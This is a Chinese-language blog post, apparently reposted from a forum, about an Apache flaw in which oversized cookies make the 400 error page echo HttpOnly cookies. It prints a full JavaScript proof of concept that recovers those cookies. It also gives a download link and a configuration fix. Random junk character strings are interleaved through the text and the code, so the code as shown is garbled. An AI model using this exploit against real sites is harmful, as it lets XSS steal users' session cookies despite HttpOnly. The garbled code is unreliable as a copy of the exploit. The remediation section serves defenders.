Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

% i4 N- B; R6 e% S4 U  g3 }9 s用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
% S8 E) s  A( {. w% R! K5 ~

2 C2 Y. n: N9 U// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
; h& {. H% M1 @& `if (good) {
' t+ K) j, P- f2 }var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
( s4 N/ R" d% q% L+ L// Set evil cookie
1 g& p7 Z5 Q, i! \: W8 m# {else {
var cookie = "xss"+i+"="+str+";path=/";
. }% y+ N7 k" M; t  ^4 |}
  j' I9 k" P+ P5 cdocument.cookie = cookie;
}
) x) Q( e8 `, q9 [/ u0 H3 v}
1 y+ D( ?' r6 o4 Pfunction makeRequest() {
# c+ p, V1 o1 \0 l' DsetCookies();
  M% k1 `$ }6 F6 b' i0 Rfunction parseCookies () {
var cookie_dict = {};
7 P: H  n) `% M% Q% c( Z// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
2 q; h2 e( Q5 S1 ~, I$ ^+ [, j2 E8 b// Replace newlines and match <pre> content
" Y/ L0 [  s% D, L+ Vvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
0 k3 j5 K& F7 F// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
  Y1 ^, g3 J' b! C5 W( [6 c8 j// Add cookies to object
2 i# f( K) Q8 \% I! ^( kfor (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
  M5 e  I1 X! m( Valert(JSON.stringify(cookie_dict));
( z% C, q5 c) C0 l. m}
}
" ?! W- ]  v6 B0 U6 f- Y// Make XHR request
$ R0 Y  Q0 u- _) Dvar xhr = new XMLHttpRequest();
& H: E& I, }5 ~. J' K1 S0 J( o: Qxhr.onreadystatechange = parseCookies;
+ W& ^8 ]+ u5 S0 _xhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();
) e- N, z9 o9 S
" i  o  v- p$ e: C你就能看见华丽丽的400错误包含着cookie信息。
2 `3 X5 P9 ~7 }3 E7 D
$ y) u8 q/ E' p) y& J! }下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：

6 i& u# }) I" C  KApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
, D& e1 r4 l, f3 _* l; Q
( j. P, v5 v5 ~- ZIn the event of a problem or error, Apachecan be configured to do one of four things,
) g) h4 Y* x% @1 U! H5 u
+ J. H& a; g0 B1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
% M/ ]  [4 h9 k1 o3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
$ p8 L# A& ?& J6 j& r
2 w" A7 q1 _. B5 O& d经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
: i/ R( f& a# b0 D
Apache配置：
2 ?8 ~( A" V* {' s) P) n' Y
6 K# Q' J1 R$ fErrorDocument400 " security test"
" c& u0 N* Y. O1 {2 y+ B
当然，升级apache到最新也可：）。
1 s* @; {/ Q: ?; F; z% G
. h: S) H: y; M. e; w参考：http://httpd.apache.org/security/vulnerabilities_22.html